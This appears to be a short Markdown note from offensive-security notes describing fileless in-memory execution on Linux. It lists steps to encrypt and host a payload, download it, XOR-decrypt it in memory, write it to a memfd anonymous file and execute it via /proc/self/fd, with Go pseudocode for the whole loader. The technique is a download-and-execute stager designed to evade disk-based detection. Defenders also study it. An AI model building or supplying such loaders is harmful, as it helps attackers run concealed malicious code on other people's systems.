25 lines
923 B
Markdown
25 lines
923 B
Markdown
- In-memory binary file execution
|
|
- Use `memfd` syscall to create a virtual file entirely in memory and then use the file's symbolic link (`/proc/self/fd/<id>`) to execute it.
|
|
- Basic process:
|
|
1. Encrypt/encode payload
|
|
2. Host and download payload
|
|
3. Decrypt payload in memory and initialize "anonymous" file using `memfd`
|
|
4. Copy decrypted payload into memory-only file and execute
|
|
- High-level pseudocode:
|
|
```Go
|
|
func main() {
|
|
// Download the encrypted payload
|
|
data, err := getURLContent(path)
|
|
// Decrypt it using XOR operation
|
|
decryptedData := decryptXor(data, []byte("verylongkey"))
|
|
// Create an anonymous file in memory
|
|
mfd, err := memfd.Create()
|
|
// Write the decrypted payload to the file
|
|
mfd.Write(decryptedData)
|
|
// Get the symbolic link to the file
|
|
filePath := fmt.Sprintf("/proc/self/fd/%d", mfd.Fd())
|
|
// Execute the file
|
|
cmd := exec.Command(filePath)
|
|
out, err := cmd.Run()
|
|
}
|
|
``` |